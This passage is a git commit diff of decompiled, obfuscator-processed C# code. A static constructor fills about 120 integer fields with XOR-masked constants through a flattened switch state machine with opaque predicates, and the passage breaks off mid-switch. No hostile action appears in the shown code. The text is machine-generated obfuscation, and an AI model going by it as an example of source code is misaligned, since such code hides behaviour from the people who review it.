initial commit

This commit is contained in:
i2p
2026-08-27 10:56:38 -06:00
commit 2e2fbbdb3c
4538 changed files with 820183 additions and 0 deletions
@@ -0,0 +1,3 @@
internal class _003CModule_003E_007B10C7425F_002D83E5_002D487F_002D9127_002D6852E3783303_007D
{
}
@@ -0,0 +1,949 @@
internal sealed class _003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D
{
internal int m_a205508cee3842aa869f1b82ea1af874;
internal int m_ce472d8145884cb18b16a6315220ddb0;
internal int m_b2745db0aa124bbc924b0dcb8892dfd1;
internal int m_853e64fb4ead47df85068e27da1ecb7b;
internal int m_cf4d9648aee544a78a91bdb81022fbbb;
internal int m_8f981747ae1949e699313fa1f44f884d;
internal int m_a267596e458d4ee3839a403c2d8a3690;
internal int m_bc69f98b6f164f01a6a918aff45d530c;
internal int m_de99969b08844206bddfe6b4e82ed930;
internal int m_8e35eb92feeb484bb61c00673e3b1979;
internal int m_8e047cd5a8d34c9289514eca26fdadb8;
internal int m_3ba37e20f9724986a90cd090e6a703b6;
internal int m_781eb1dda25b44d79c819c3ebb4656dd;
internal int m_bc6b32b00d1f484e950b6f1b6782a4c3;
internal int m_b931987dfc0c470990e9e38231fff934;
internal int m_9ef44bdeb0384bb3a192f49113a29e33;
internal int m_26f406ee7475415ea8607e0d9d8ee024;
internal int m_1f6b397b209f48209f6f78382abc0dd0;
internal int m_cf6b861499bb4e93b913b0104cf85d80;
internal int m_0eb6b5636bc94506af0ea669ffeed289;
internal int m_d4a356c36b2e4f47a614526faef74694;
internal int m_943100e56ff446e19bd6040145cbf2ec;
internal int m_f4a7715299884ff18f1cd79197380e6c;
internal int m_b5967e50e137478cac39f365075d9072;
internal int m_6651f8592e684e849da751d50852d553;
internal int m_9187d16b686d4b2fa356c9c894103305;
internal int m_286c3f129be64af8b8968e2f488643d8;
internal int m_ba6efaf0d2294319ae0da035931c22d1;
internal int m_51490720dd0f48e3b0ff141b3d904ac5;
internal int m_f099d539a86e4ca2b0b9d68590faa998;
internal int m_dbaed25adfd74085a06a85a2f4c2deda;
internal int m_1ff8829269df491f8e4bf2a624683839;
internal int m_8313453974b74aada052a8dba0d1daa4;
internal int m_105fe2c22724435f9f5e6d6f7a953089;
internal int m_f7e3386f246948f69c355788e5ea10a5;
internal int m_e9aacb5e27eb43b38c6a07cda87839c0;
internal int m_9ffcbb3f96f246acbb106d878fc81ace;
internal int m_0b44419b977642f69e5d9c6839680b67;
internal int m_4353980ed85946ce86121f2e107edf17;
internal int m_cbc10b9a4f014e50ac3911f08194bec9;
internal int m_94e78e0769e54be39e13ceab800bcc0d;
internal int m_1b3d64cf90d3478ea689f41ea1de0e20;
internal int m_de25dad2b323460d94eca25c3de7f954;
internal int m_bd4735a32b8243ab87438897f9b05148;
internal int m_0515fb8c750a4a18815512c78a5289a7;
internal int m_6a3f56ff5de44bac98d9c08e25a662a2;
internal int m_9dfdbeb3592e4807b15dd3a37534d3a2;
internal int m_bc29523b497342f3b804b86715d9577b;
internal static _003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D m_271cb415f2384f7a8af2439f61d79e09;
internal int m_2c4908f24e22416e88d1fa82d96dd701;
internal int m_261c20461b674ca28c16fc971d3a4e0c;
internal int m_6901d444f6fa48618465e6bb2f892490;
internal int m_0f09a9fa75334e429ef59f881dd368e7;
internal int m_53d923ff3cb24dd2bb7d9452d2439a84;
internal int m_7ee321f1774e478e9a3977aac8e8bf0a;
internal int m_8607b24874644b3f80653c8326708a0f;
internal int m_caae323a53774cf3a9d226928402337f;
internal int m_3885283fdf59409cbc53081cc2938690;
internal int m_cb9c626824424572a150665e8d57c6e7;
internal int m_08f0ca6f783d4de086a0138e7d3650cd;
internal int m_39adc595083c4bb6915cfffdabca57d7;
internal int m_f657717d8f834c178c7cd09a108bbe65;
internal int m_649c3d2d5f83414bb83663c9196e9e04;
internal int m_085cb0dbc3324d8089003c979618ca5d;
internal int m_c4c52f9da2f74c12af1b90719cab4223;
internal int m_ade1a6914d5d4142be10e854b6157b3f;
internal int m_c0850f47ec054590a7b3f2430c11cdb8;
internal int m_76d8d99b4f1948a480249e3f1408d4e5;
internal int m_81ee24a94370418d8f6e510a7b3de335;
internal int m_f4b638c6bf3a4e12b0bb7266586eb369;
internal int m_98964c4f10f043cdb63e39d1f20974f7;
internal int m_fe1f37e4aea141f8a0d89c36daff63bf;
internal int m_bdeabfc7dc3c456c87949484ef8ce8c5;
internal int m_0d9f0d6f8ce945a4905c13e8fe53ae77;
internal int m_8178aef8ab8e4b7bbbc322883b6f4a0e;
internal int m_0e9f30f8c3eb41d0a6c7280f73d03d03;
internal int m_411a01a90e184ccea1d245585f590e75;
internal int m_5e15ff1dd14a4e0a9b63367783e1c315;
internal int m_5960ab896a62471f85ad7b6ede146b4f;
internal int m_36d48b49d2a245aa8ddb9fb75060fde3;
internal int m_6ebcb32d0c694807a43b62d2bf7a4c57;
internal int m_fcfb1a55a15b47b2a0f4975f0e9f4fe5;
internal int m_f25311c256b24afb83430c7b2ff15b49;
internal int m_b3f8cb7184cb4b4993fb986967ec61f3;
internal int m_b34efd8a78a44c79801fdc5af4961010;
internal int m_f8b5ef236b5946d98fa8e21de610738d;
internal int m_2947098967754259b23a1de602a3b8be;
internal int m_e5c65385218d49eabe93d2332a0aea36;
internal int m_499e5150a96d46988d7849ddb38bfdad;
internal int m_fc44ae609cf044bca621c0741aecf972;
internal int m_fa9eda47cd3d4c6fa25173c2bd9005ea;
internal int m_93234d78d1de4f97a3963d83b86d8a5f;
internal int m_3df293852b674529ae9bfb1be31083d8;
internal int m_b0aac02857a444daa99a59abbb107401;
internal int m_2a8f1f00b92e4ce7b2f8c5951bea8566;
internal int m_24faa0276f6f44618e997d66140f0229;
internal int m_22eeadd7708247acb8712f8d83ae151c;
internal int m_648d6c57b0374dfbbd553f38353b5600;
internal int m_a9e4709c7a0c43a2a4fabc4cada02ea6;
internal int m_501ddf0930d6428bb18ddd3568b08e8e;
internal int m_ba76871b56e54f669cda2d26609cc5b4;
internal int m_67278bb431504846a19cc3a84ad5f349;
internal int m_29334a1357a4447b94464649938f08b9;
internal int m_21ac3f6ffcc747a2933641e3aceb2e8e;
internal int m_24ada9e0be3f42e49f74a973b597eef4;
internal int m_2ce4858b84e94d819f0a317cc4129ea4;
internal int m_d61a1db71a0e45e2a3390548bd7c7e60;
internal int m_ff6bd260fab74068bc9499bef33e2609;
internal int m_8e8cfe5bffb04a468a4c934b6e89d98f;
internal int m_a9147deb311449e1af3e1c05bc2ac7f0;
internal int m_46dcb9aa916148e38083172ad031baf8;
internal int m_a8c79faec0e54f9f994f6a5238e4785f;
internal int m_c97a7c5d45534325bf46c53574165d90;
internal int m_c716d44c74c64515ac5068ae3a901c0c;
internal int m_facf28e488a94c39b60d8c8a04f98a66;
internal int m_c29de6cf9a314eb89482fe4c2290bc42;
internal int m_c7a5ecc373d04402a9fed7ce8d825251;
internal int m_5aa7d9fb4aa84ccf8cbdc56cd8df118d;
internal int m_e00493f700b34238a1195c39af97fc45;
private static _003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D EkXHaqkhPs9eNFSLdEL;
static _003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D()
{
s71cb612a69634eabb23c27c7cb595455();
}
internal static void s71cb612a69634eabb23c27c7cb595455()
{
int num = 49;
while (true)
{
int num2 = num;
while (true)
{
int num3 = num2;
while (true)
{
switch (num3)
{
default:
if (num2 != 125)
{
if (num2 == 1106)
{
goto end_IL_0004;
}
goto case 92;
}
m_271cb415f2384f7a8af2439f61d79e09.m_c97a7c5d45534325bf46c53574165d90 = -82997760 ^ -82997760;
num3 = 16;
continue;
case 24:
m_271cb415f2384f7a8af2439f61d79e09.m_f25311c256b24afb83430c7b2ff15b49 = -761217044 ^ -780573878;
num = 30;
break;
case 112:
m_271cb415f2384f7a8af2439f61d79e09.m_ba76871b56e54f669cda2d26609cc5b4 = 0x4061F400 ^ 0x5ED081;
num3 = 72;
if (AQaTvfkb3kMNVOg6Zp0() == null)
{
num3 = 11;
}
continue;
case 70:
m_271cb415f2384f7a8af2439f61d79e09.m_51490720dd0f48e3b0ff141b3d904ac5 = 0x4005701B ^ 0x4005701B;
num = 114;
break;
case 85:
m_271cb415f2384f7a8af2439f61d79e09.m_0e9f30f8c3eb41d0a6c7280f73d03d03 = 0x47F18E62 ^ 0x47F18E62;
num3 = 104;
if (AQaTvfkb3kMNVOg6Zp0() != null)
{
num3 = 64;
}
continue;
case 47:
m_271cb415f2384f7a8af2439f61d79e09.m_f7e3386f246948f69c355788e5ea10a5 = --1463820490 ^ 0x32167ABB;
num3 = 100;
continue;
case 60:
m_271cb415f2384f7a8af2439f61d79e09.m_8e8cfe5bffb04a468a4c934b6e89d98f = -831723168 ^ -531314050;
num3 = 21;
continue;
case 87:
m_271cb415f2384f7a8af2439f61d79e09.m_781eb1dda25b44d79c819c3ebb4656dd = -1971041359 ^ -1706610081;
num3 = 83;
continue;
case 67:
m_271cb415f2384f7a8af2439f61d79e09.m_67278bb431504846a19cc3a84ad5f349 = -2048370242 ^ -783420919;
num3 = 26;
if (Wvm6YXkGOLAlWTGpOGi())
{
num3 = 28;
}
continue;
case 11:
m_271cb415f2384f7a8af2439f61d79e09.m_9ef44bdeb0384bb3a192f49113a29e33 = -1108009508 ^ -2009115830;
num3 = 118;
continue;
case 33:
m_271cb415f2384f7a8af2439f61d79e09.m_b3f8cb7184cb4b4993fb986967ec61f3 = -1565559546 ^ -1565559546;
num3 = 103;
continue;
case 26:
m_271cb415f2384f7a8af2439f61d79e09.m_cb9c626824424572a150665e8d57c6e7 = 0x47F18E62 ^ 0x49AAE3F6;
num3 = 12;
continue;
case 114:
m_271cb415f2384f7a8af2439f61d79e09.m_c29de6cf9a314eb89482fe4c2290bc42 = -(-1059070880 >> 3) ^ 0x7E40474;
num3 = 79;
continue;
case 6:
m_271cb415f2384f7a8af2439f61d79e09.m_0515fb8c750a4a18815512c78a5289a7 = -121922103 ^ -121922103;
num3 = 62;
continue;
case 41:
m_271cb415f2384f7a8af2439f61d79e09.m_0eb6b5636bc94506af0ea669ffeed289 = -1337447376 ^ -1826625787;
num3 = 32;
if (Wvm6YXkGOLAlWTGpOGi())
{
num3 = 13;
}
continue;
case 15:
m_271cb415f2384f7a8af2439f61d79e09.m_2ce4858b84e94d819f0a317cc4129ea4 = -2125416229 ^ -948022969;
num3 = 49;
if (Wvm6YXkGOLAlWTGpOGi())
{
num3 = 66;
}
continue;
case 10:
m_271cb415f2384f7a8af2439f61d79e09.m_2a8f1f00b92e4ce7b2f8c5951bea8566 = -1463862400 ^ -1463862400;
num3 = 78;
continue;
case 14:
m_271cb415f2384f7a8af2439f61d79e09.m_f4b638c6bf3a4e12b0bb7266586eb369 = (-104634345 << 5) ^ 0x243FBFA8;
num = 72;
break;
case 38:
m_271cb415f2384f7a8af2439f61d79e09.m_c0850f47ec054590a7b3f2430c11cdb8 = (-104634345 << 5) ^ 0x622C8A1D;
num3 = 35;
continue;
case 5:
m_271cb415f2384f7a8af2439f61d79e09.m_f4a7715299884ff18f1cd79197380e6c = 0x2A154A1 ^ 0x701A4BDD;
num3 = 90;
if (AQaTvfkb3kMNVOg6Zp0() != null)
{
num3 = 101;
}
continue;
case 55:
m_271cb415f2384f7a8af2439f61d79e09.m_a205508cee3842aa869f1b82ea1af874 = 0x66D1FC12 ^ 0x66D1FC12;
num3 = 5;
if (!Wvm6YXkGOLAlWTGpOGi())
{
num3 = 20;
}
continue;
case 103:
m_271cb415f2384f7a8af2439f61d79e09.m_a8c79faec0e54f9f994f6a5238e4785f = -1565559546 ^ -1565559546;
num3 = 63;
continue;
case 17:
m_271cb415f2384f7a8af2439f61d79e09.m_ba6efaf0d2294319ae0da035931c22d1 = -44698712 ^ -1161204264;
num3 = 56;
continue;
case 82:
m_271cb415f2384f7a8af2439f61d79e09.m_b5967e50e137478cac39f365075d9072 = ~(-2013067943) ^ 0x77FCFAA6;
num3 = 84;
continue;
case 35:
m_271cb415f2384f7a8af2439f61d79e09.m_8f981747ae1949e699313fa1f44f884d = 0x47F18E62 ^ 0x47F18E62;
num = 125;
break;
case 94:
m_271cb415f2384f7a8af2439f61d79e09.m_08f0ca6f783d4de086a0138e7d3650cd = -375701775 ^ -655545282;
num3 = 71;
continue;
case 44:
m_271cb415f2384f7a8af2439f61d79e09.m_94e78e0769e54be39e13ceab800bcc0d = --1463820490 ^ 0x574020CA;
num3 = 7;
if (AQaTvfkb3kMNVOg6Zp0() != null)
{
num3 = 118;
}
continue;
case 83:
m_271cb415f2384f7a8af2439f61d79e09.m_c4c52f9da2f74c12af1b90719cab4223 = 0x66D1FC12 ^ 0x44F1B4C8;
num3 = 14;
continue;
case 81:
m_271cb415f2384f7a8af2439f61d79e09.m_411a01a90e184ccea1d245585f590e75 = 0x47F18E62 ^ 0x47F18E62;
num3 = 68;
continue;
case 77:
m_271cb415f2384f7a8af2439f61d79e09.m_26f406ee7475415ea8607e0d9d8ee024 = --1384401532 ^ 0x52844A7C;
num3 = 93;
if (!Wvm6YXkGOLAlWTGpOGi())
{
num3 = 3;
}
continue;
case 62:
m_271cb415f2384f7a8af2439f61d79e09.m_2c4908f24e22416e88d1fa82d96dd701 = -(-1059070880 >> 3) ^ 0x7E40474;
num3 = 39;
continue;
case 105:
m_271cb415f2384f7a8af2439f61d79e09.m_1ff8829269df491f8e4bf2a624683839 = -1463862400 ^ -1463862400;
num3 = 75;
if (AQaTvfkb3kMNVOg6Zp0() != null)
{
num3 = 87;
}
continue;
case 61:
m_271cb415f2384f7a8af2439f61d79e09.m_a9e4709c7a0c43a2a4fabc4cada02ea6 = 0x7338A171 ^ 0x7338A171;
num3 = 47;
continue;
case 109:
m_271cb415f2384f7a8af2439f61d79e09.m_6ebcb32d0c694807a43b62d2bf7a4c57 = 0xF0E2200 ^ 0xF0E2200;
num3 = 24;
if (!Wvm6YXkGOLAlWTGpOGi())
{
num3 = 34;
}
continue;
case 80:
m_271cb415f2384f7a8af2439f61d79e09.m_b0aac02857a444daa99a59abbb107401 = -949438319 ^ -715789078;
num3 = 59;
continue;
case 12:
m_271cb415f2384f7a8af2439f61d79e09.m_3885283fdf59409cbc53081cc2938690 = 0x7338A171 ^ 0x3E9EA88C;
num3 = 71;
if (Wvm6YXkGOLAlWTGpOGi())
{
num3 = 88;
}
continue;
case 115:
m_271cb415f2384f7a8af2439f61d79e09.m_286c3f129be64af8b8968e2f488643d8 = 0x66D1FC12 ^ 0x66D1FC12;
num3 = 123;
if (Wvm6YXkGOLAlWTGpOGi())
{
num3 = 41;
}
continue;
case 101:
m_271cb415f2384f7a8af2439f61d79e09.m_53d923ff3cb24dd2bb7d9452d2439a84 = -1353361698 ^ -424194839;
num3 = 87;
continue;
case 32:
m_271cb415f2384f7a8af2439f61d79e09.m_bc6b32b00d1f484e950b6f1b6782a4c3 = -2048370242 ^ -1023822666;
num3 = 95;
continue;
case 95:
m_271cb415f2384f7a8af2439f61d79e09.m_36d48b49d2a245aa8ddb9fb75060fde3 = 0x2A154A1 ^ 0x2A154A1;
num3 = 82;
continue;
case 116:
m_271cb415f2384f7a8af2439f61d79e09.m_46dcb9aa916148e38083172ad031baf8 = -831723168 ^ -831723168;
num3 = 58;
continue;
case 58:
m_271cb415f2384f7a8af2439f61d79e09.m_0d9f0d6f8ce945a4905c13e8fe53ae77 = 0x1EAE7F62 ^ 0x57569119;
num3 = 107;
continue;
case 56:
m_271cb415f2384f7a8af2439f61d79e09.m_f657717d8f834c178c7cd09a108bbe65 = 0x24AA550 ^ 0x757EA973;
num3 = 53;
if (!Wvm6YXkGOLAlWTGpOGi())
{
num3 = 74;
}
continue;
case 78:
m_271cb415f2384f7a8af2439f61d79e09.m_24faa0276f6f44618e997d66140f0229 = -1329467915 ^ -1329467915;
num3 = 92;
continue;
case 68:
m_271cb415f2384f7a8af2439f61d79e09.m_9ffcbb3f96f246acbb106d878fc81ace = -1549830748 ^ -1549830748;
num = 99;
break;
case 7:
m_271cb415f2384f7a8af2439f61d79e09.m_21ac3f6ffcc747a2933641e3aceb2e8e = 0xC7CDF19 ^ 0x3D0F33BF;
num3 = 32;
continue;
case 91:
m_271cb415f2384f7a8af2439f61d79e09.m_7ee321f1774e478e9a3977aac8e8bf0a = -1014106451 ^ -1014106451;
num3 = 97;
if (Wvm6YXkGOLAlWTGpOGi())
{
num3 = 61;
}
continue;
case 69:
m_271cb415f2384f7a8af2439f61d79e09.m_81ee24a94370418d8f6e510a7b3de335 = -1161387287 ^ -1903699573;
num3 = 2;
continue;
case 108:
m_271cb415f2384f7a8af2439f61d79e09.m_fc44ae609cf044bca621c0741aecf972 = -17959501 ^ -17959501;
num3 = 40;
if (AQaTvfkb3kMNVOg6Zp0() == null)
{
num3 = 6;
}
continue;
case 118:
m_271cb415f2384f7a8af2439f61d79e09.m_a9147deb311449e1af3e1c05bc2ac7f0 = -1282264396 ^ -1282264396;
num3 = 30;
if (Wvm6YXkGOLAlWTGpOGi())
{
num3 = 74;
}
continue;
case 20:
m_271cb415f2384f7a8af2439f61d79e09.m_d61a1db71a0e45e2a3390548bd7c7e60 = -2078803434 ^ -2078803434;
num3 = 94;
continue;
case 93:
m_271cb415f2384f7a8af2439f61d79e09.m_caae323a53774cf3a9d226928402337f = 0x4127BD1E ^ 0x4127BD1E;
num3 = 113;
if (AQaTvfkb3kMNVOg6Zp0() != null)
{
num3 = 91;
}
continue;
case 0:
m_271cb415f2384f7a8af2439f61d79e09.m_085cb0dbc3324d8089003c979618ca5d = -7700362 ^ -417340512;
num = 117;
break;
case 53:
m_271cb415f2384f7a8af2439f61d79e09.m_0b44419b977642f69e5d9c6839680b67 = 0x3A208242 ^ 0x2B10E27A;
num3 = 26;
continue;
case 88:
m_271cb415f2384f7a8af2439f61d79e09.m_261c20461b674ca28c16fc971d3a4e0c = 0xF0E2200 ^ 0x7827168C;
num3 = 33;
if (Wvm6YXkGOLAlWTGpOGi())
{
num3 = 22;
}
continue;
case 21:
m_271cb415f2384f7a8af2439f61d79e09.m_4353980ed85946ce86121f2e107edf17 = -7700362 ^ -7700362;
num3 = 96;
continue;
case 29:
m_271cb415f2384f7a8af2439f61d79e09.m_ce472d8145884cb18b16a6315220ddb0 = 0x7338A171 ^ 0x7338A171;
num3 = 3;
continue;
case 106:
m_271cb415f2384f7a8af2439f61d79e09.m_499e5150a96d46988d7849ddb38bfdad = 0x6CAAE0CD ^ 0x6CAAE0CD;
num3 = 115;
continue;
case 89:
m_271cb415f2384f7a8af2439f61d79e09.m_8e35eb92feeb484bb61c00673e3b1979 = -1282264396 ^ -1282264396;
num3 = 34;
continue;
case 75:
m_271cb415f2384f7a8af2439f61d79e09.m_cf4d9648aee544a78a91bdb81022fbbb = -121922103 ^ -121922103;
num3 = 64;
continue;
case 27:
m_271cb415f2384f7a8af2439f61d79e09.m_fe1f37e4aea141f8a0d89c36daff63bf = -699658248 ^ -699658248;
num3 = 3;
if (AQaTvfkb3kMNVOg6Zp0() == null)
{
num3 = 10;
}
continue;
case 34:
m_271cb415f2384f7a8af2439f61d79e09.m_3df293852b674529ae9bfb1be31083d8 = -375701775 ^ -375701775;
num3 = 38;
if (!Wvm6YXkGOLAlWTGpOGi())
{
num3 = 33;
}
continue;
case 22:
m_271cb415f2384f7a8af2439f61d79e09.m_93234d78d1de4f97a3963d83b86d8a5f = -1565559546 ^ -1990168387;
num3 = 55;
continue;
case 90:
m_271cb415f2384f7a8af2439f61d79e09.m_e9aacb5e27eb43b38c6a07cda87839c0 = -719917458 ^ -2096802109;
num3 = 52;
continue;
case 54:
m_271cb415f2384f7a8af2439f61d79e09.m_8607b24874644b3f80653c8326708a0f = -2022862989 ^ -2022862989;
num3 = 105;
if (Wvm6YXkGOLAlWTGpOGi())
{
num3 = 101;
}
continue;
case 99:
m_271cb415f2384f7a8af2439f61d79e09.m_ff6bd260fab74068bc9499bef33e2609 = -2022862989 ^ -505436699;
num3 = 12;
if (Wvm6YXkGOLAlWTGpOGi())
{
num3 = 106;
}
continue;
case 40:
m_271cb415f2384f7a8af2439f61d79e09.m_76d8d99b4f1948a480249e3f1408d4e5 = --1463820490 ^ 0x574020CA;
num3 = 116;
if (AQaTvfkb3kMNVOg6Zp0() != null)
{
num3 = 0;
}
continue;
case 23:
m_271cb415f2384f7a8af2439f61d79e09.m_bc69f98b6f164f01a6a918aff45d530c = 0x4061F400 ^ 0x4061F400;
num = 76;
break;
case 92:
m_271cb415f2384f7a8af2439f61d79e09.m_b34efd8a78a44c79801fdc5af4961010 = 0xC589E16 ^ 0xC589E16;
num3 = 37;
if (!Wvm6YXkGOLAlWTGpOGi())
{
num3 = 57;
}
continue;
case 48:
m_271cb415f2384f7a8af2439f61d79e09.m_6901d444f6fa48618465e6bb2f892490 = -1337447376 ^ -1337447376;
num3 = 8;
continue;
case 98:
m_271cb415f2384f7a8af2439f61d79e09.m_8178aef8ab8e4b7bbbc322883b6f4a0e = -(-1059070880 >> 3) ^ 0x7E40474;
num3 = 60;
continue;
case 30:
m_271cb415f2384f7a8af2439f61d79e09.m_fcfb1a55a15b47b2a0f4975f0e9f4fe5 = (-561863758 - -1822252229) ^ 0x4D2BBDDA;
num3 = 73;
if (!Wvm6YXkGOLAlWTGpOGi())
{
num3 = 105;
}
continue;
case 42:
m_271cb415f2384f7a8af2439f61d79e09.m_bd4735a32b8243ab87438897f9b05148 = -276351844 ^ -593778914;
num3 = 97;
continue;
case 36:
m_271cb415f2384f7a8af2439f61d79e09.m_0f09a9fa75334e429ef59f881dd368e7 = -115048556 ^ -115048556;
num = 29;
break;
case 111:
m_271cb415f2384f7a8af2439f61d79e09.m_1f6b397b209f48209f6f78382abc0dd0 = -1282264396 ^ -203169116;
num3 = 81;
continue;
case 1:
m_271cb415f2384f7a8af2439f61d79e09.m_bc29523b497342f3b804b86715d9577b = 0x4127BD1E ^ 0x4127BD1E;
num3 = 91;
if (AQaTvfkb3kMNVOg6Zp0() != null)
{
num3 = 6;
}
continue;
case 4:
m_271cb415f2384f7a8af2439f61d79e09.m_2947098967754259b23a1de602a3b8be = -2048370242 ^ -1121387989;
num3 = 58;
if (Wvm6YXkGOLAlWTGpOGi())
{
num3 = 36;
}
continue;
case 74:
m_271cb415f2384f7a8af2439f61d79e09.m_853e64fb4ead47df85068e27da1ecb7b = 0x3ABE7CC0 ^ 0x419DB57A;
num3 = 121;
if (Wvm6YXkGOLAlWTGpOGi())
{
num3 = 27;
}
continue;
case 76:
m_271cb415f2384f7a8af2439f61d79e09.m_c7a5ecc373d04402a9fed7ce8d825251 = 0x75B57CA ^ 0x683A0B41;
num3 = 99;
if (AQaTvfkb3kMNVOg6Zp0() == null)
{
num3 = 77;
}
continue;
case 18:
return;
case 73:
m_271cb415f2384f7a8af2439f61d79e09.m_24ada9e0be3f42e49f74a973b597eef4 = 0x48E633B2 ^ 0x48E633B2;
num3 = 45;
continue;
case 66:
m_271cb415f2384f7a8af2439f61d79e09.m_29334a1357a4447b94464649938f08b9 = 0x1EAE7F62 ^ 0x3FE7469B;
num3 = 67;
continue;
case 39:
m_271cb415f2384f7a8af2439f61d79e09.m_3ba37e20f9724986a90cd090e6a703b6 = 0x3E943909 ^ 0x3E943909;
num3 = 69;
continue;
case 3:
m_271cb415f2384f7a8af2439f61d79e09.m_fa9eda47cd3d4c6fa25173c2bd9005ea = -1353361698 ^ -1353361698;
num = 70;
break;
case 104:
m_271cb415f2384f7a8af2439f61d79e09.m_5e15ff1dd14a4e0a9b63367783e1c315 = -441990370 ^ -441990370;
num3 = 9;
continue;
case 46:
m_271cb415f2384f7a8af2439f61d79e09.m_8313453974b74aada052a8dba0d1daa4 = 0x3ABE7CC0 ^ 0x783541D;
num = 85;
break;
case 31:
m_271cb415f2384f7a8af2439f61d79e09.m_8e047cd5a8d34c9289514eca26fdadb8 = (-561863758 - -1822252229) ^ 0x4B200077;
num3 = 112;
if (!Wvm6YXkGOLAlWTGpOGi())
{
num3 = 116;
}
continue;
case 65:
m_271cb415f2384f7a8af2439f61d79e09.m_de25dad2b323460d94eca25c3de7f954 = -375701775 ^ -375701775;
num3 = 46;
if (!Wvm6YXkGOLAlWTGpOGi())
{
num3 = 72;
}
continue;
case 50:
m_271cb415f2384f7a8af2439f61d79e09.m_cf6b861499bb4e93b913b0104cf85d80 = 0x6CAAE0CD ^ 0x6CAAE0CD;
num3 = 110;
if (AQaTvfkb3kMNVOg6Zp0() != null)
{
num3 = 63;
}
continue;
case 79:
m_271cb415f2384f7a8af2439f61d79e09.m_e00493f700b34238a1195c39af97fc45 = -719917458 ^ -1813499179;
num3 = 15;
if (AQaTvfkb3kMNVOg6Zp0() != null)
{
num3 = 82;
}
continue;
case 2:
m_271cb415f2384f7a8af2439f61d79e09.m_501ddf0930d6428bb18ddd3568b08e8e = -(460651336 + 102515041) ^ -1263089178;
num3 = 2;
if (AQaTvfkb3kMNVOg6Zp0() == null)
{
num3 = 0;
}
continue;
case 96:
m_271cb415f2384f7a8af2439f61d79e09.m_dbaed25adfd74085a06a85a2f4c2deda = 0x3E943909 ^ 0x5657F655;
num3 = 18;
continue;
case 28:
m_271cb415f2384f7a8af2439f61d79e09.m_ade1a6914d5d4142be10e854b6157b3f = -(854971890 - 27873088) ^ -827098802;
num3 = 75;
if (AQaTvfkb3kMNVOg6Zp0() == null)
{
num3 = 1;
}
continue;
case 16:
m_271cb415f2384f7a8af2439f61d79e09.m_cbc10b9a4f014e50ac3911f08194bec9 = -(460651336 + 102515041) ^ -563166377;
num3 = 40;
if (!Wvm6YXkGOLAlWTGpOGi())
{
num3 = 121;
}
continue;
case 102:
m_271cb415f2384f7a8af2439f61d79e09.m_943100e56ff446e19bd6040145cbf2ec = 0x7338A171 ^ 0x7338A171;
num3 = 80;
continue;
case 8:
m_271cb415f2384f7a8af2439f61d79e09.m_648d6c57b0374dfbbd553f38353b5600 = 0x36C6676 ^ 0x36C6676;
num = 105;
break;
case 72:
m_271cb415f2384f7a8af2439f61d79e09.m_5960ab896a62471f85ad7b6ede146b4f = -2125416229 ^ -244987620;
num3 = 25;
if (!Wvm6YXkGOLAlWTGpOGi())
{
num3 = 49;
}
continue;
case 97:
m_271cb415f2384f7a8af2439f61d79e09.m_105fe2c22724435f9f5e6d6f7a953089 = -1038302908 ^ -1038302908;
num3 = 31;
continue;
case 19:
m_271cb415f2384f7a8af2439f61d79e09.m_6651f8592e684e849da751d50852d553 = 0xCBF3F ^ 0x72D806EF;
num3 = 41;
if (Wvm6YXkGOLAlWTGpOGi())
{
num3 = 51;
}
continue;
case 113:
m_271cb415f2384f7a8af2439f61d79e09.m_d4a356c36b2e4f47a614526faef74694 = -1453270925 ^ -416631283;
num3 = 20;
continue;
case 100:
m_271cb415f2384f7a8af2439f61d79e09.m_a267596e458d4ee3839a403c2d8a3690 = 0x75B57CA ^ 0x3743884F;
num3 = 111;
continue;
case 52:
m_271cb415f2384f7a8af2439f61d79e09.m_facf28e488a94c39b60d8c8a04f98a66 = 0x3E943909 ^ 0x3EC168F1;
num3 = 102;
if (!Wvm6YXkGOLAlWTGpOGi())
{
num3 = 101;
}
continue;
case 117:
m_271cb415f2384f7a8af2439f61d79e09.m_e5c65385218d49eabe93d2332a0aea36 = -(725455789 >> 4) ^ -45340986;
num = 17;
break;
case 63:
m_271cb415f2384f7a8af2439f61d79e09.m_39adc595083c4bb6915cfffdabca57d7 = -1353361698 ^ -1297420907;
num3 = 79;
if (Wvm6YXkGOLAlWTGpOGi())
{
num3 = 54;
}
continue;
case 64:
m_271cb415f2384f7a8af2439f61d79e09.m_98964c4f10f043cdb63e39d1f20974f7 = -(460651336 + 102515041) ^ -334672127;
num3 = 50;
continue;
case 57:
m_271cb415f2384f7a8af2439f61d79e09.m_6a3f56ff5de44bac98d9c08e25a662a2 = -(854971890 - 27873088) ^ -827098802;
num3 = 6;
if (Wvm6YXkGOLAlWTGpOGi())
{
num3 = 65;
}
continue;
case 37:
m_271cb415f2384f7a8af2439f61d79e09.m_b931987dfc0c470990e9e38231fff934 = 0x393A328E ^ 0x2A58F791;
num3 = 4;
continue;
case 9:
m_271cb415f2384f7a8af2439f61d79e09.m_649c3d2d5f83414bb83663c9196e9e04 = 0x5E3A9360 ^ 0x5E3A9360;
num3 = 123;
if (Wvm6YXkGOLAlWTGpOGi())
{
num3 = 89;
}
continue;
case 59:
m_271cb415f2384f7a8af2439f61d79e09.m_bdeabfc7dc3c456c87949484ef8ce8c5 = -1282264396 ^ -8645230;
num3 = 86;
continue;
case 13:
m_271cb415f2384f7a8af2439f61d79e09.m_f8b5ef236b5946d98fa8e21de610738d = 0xC589E16 ^ 0x20CA2E13;
num3 = 98;
continue;
case 43:
m_271cb415f2384f7a8af2439f61d79e09.m_de99969b08844206bddfe6b4e82ed930 = -(-1059070880 >> 3) ^ 0x7A17AE11;
num3 = 108;
continue;
case 71:
m_271cb415f2384f7a8af2439f61d79e09.m_c716d44c74c64515ac5068ae3a901c0c = --1463820490 ^ 0x20DD7020;
num3 = 109;
continue;
case 86:
m_271cb415f2384f7a8af2439f61d79e09.m_5aa7d9fb4aa84ccf8cbdc56cd8df118d = -276351844 ^ -877230225;
num3 = 57;
continue;
case 49:
m_271cb415f2384f7a8af2439f61d79e09 = new _003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D();
num = 48;
break;
case 45:
m_271cb415f2384f7a8af2439f61d79e09.m_22eeadd7708247acb8712f8d83ae151c = -1329467915 ^ -820950947;
num3 = 44;
continue;
case 25:
